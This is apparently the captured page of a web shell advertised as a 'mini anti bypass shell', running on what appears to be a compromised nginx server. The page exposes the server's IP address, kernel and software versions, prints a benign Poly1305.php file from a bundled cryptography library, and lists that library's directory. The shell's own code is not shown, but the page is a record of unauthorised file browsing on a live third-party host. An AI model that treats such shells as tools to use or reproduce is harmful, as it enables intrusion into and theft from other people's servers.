privdayz.com speacial mini anti bypass shell

Linux centos-s-1vcpu-2gb-sgp1-01 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
nginx/1.26.1
167.99.78.96

Poly1305.php

<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305
 */
abstract class ParagonIE_Sodium_Core_Poly1305 extends ParagonIE_Sodium_Core_Util
{
    const BLOCK_SIZE = 16;

/**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

/**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}

System Information
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File : privdayz.com /index.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
..	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
AEGIS	dir	-	nginx/nginx	0755	2026-02-23 08:55:45
AES	dir	-	nginx/nginx	0755	2026-02-23 08:55:45
Base64	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
ChaCha20	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
Curve25519	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
Poly1305	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
SecretStream	dir	-	nginx/nginx	2755	2026-02-23 08:55:45
.htaccess	text/plain	420 B	nginx/nginx	0644	2026-02-23 08:55:45
AEGIS128L.php	text/x-php	3.58 KB	nginx/nginx	0644	2024-11-13 06:38:43
AEGIS256.php	text/x-php	3.51 KB	nginx/nginx	0644	2024-11-13 06:38:43
AES.php	text/x-php	15.51 KB	nginx/nginx	0644	2024-11-13 06:38:43
BLAKE2b.php	text/x-php	23.63 KB	nginx/nginx	0644	2022-03-24 10:20:08
ChaCha20.php	text/x-php	12.59 KB	nginx/nginx	0644	2025-12-03 03:13:36
Curve25519.php	text/x-php	140.27 KB	nginx/nginx	0644	2025-12-03 03:13:36
Ed25519.php	text/x-php	18.05 KB	nginx/nginx	0644	2026-02-05 08:28:44
HChaCha20.php	text/x-php	4.04 KB	nginx/nginx	0644	2025-12-03 03:13:36
HSalsa20.php	text/x-php	3.59 KB	nginx/nginx	0644	2019-03-21 11:56:52
Poly1305.php	text/x-php	1.54 KB	nginx/nginx	0644	2025-12-03 03:13:36
Ristretto255.php	text/x-php	21.37 KB	nginx/nginx	0644	2021-05-25 08:55:58
Salsa20.php	text/x-php	8.04 KB	nginx/nginx	0644	2019-03-21 11:56:52
SipHash.php	text/x-php	8.04 KB	nginx/nginx	0644	2021-05-25 08:55:58
Util.php	text/x-php	28.23 KB	nginx/nginx	0644	2025-12-03 03:13:36
X25519.php	text/x-php	8.22 KB	nginx/nginx	0644	2025-12-03 03:13:36
XChaCha20.php	text/x-php	3.24 KB	nginx/nginx	0644	2025-12-03 03:13:36
XSalsa20.php	text/x-php	1.34 KB	nginx/nginx	0644	2019-03-21 11:56:52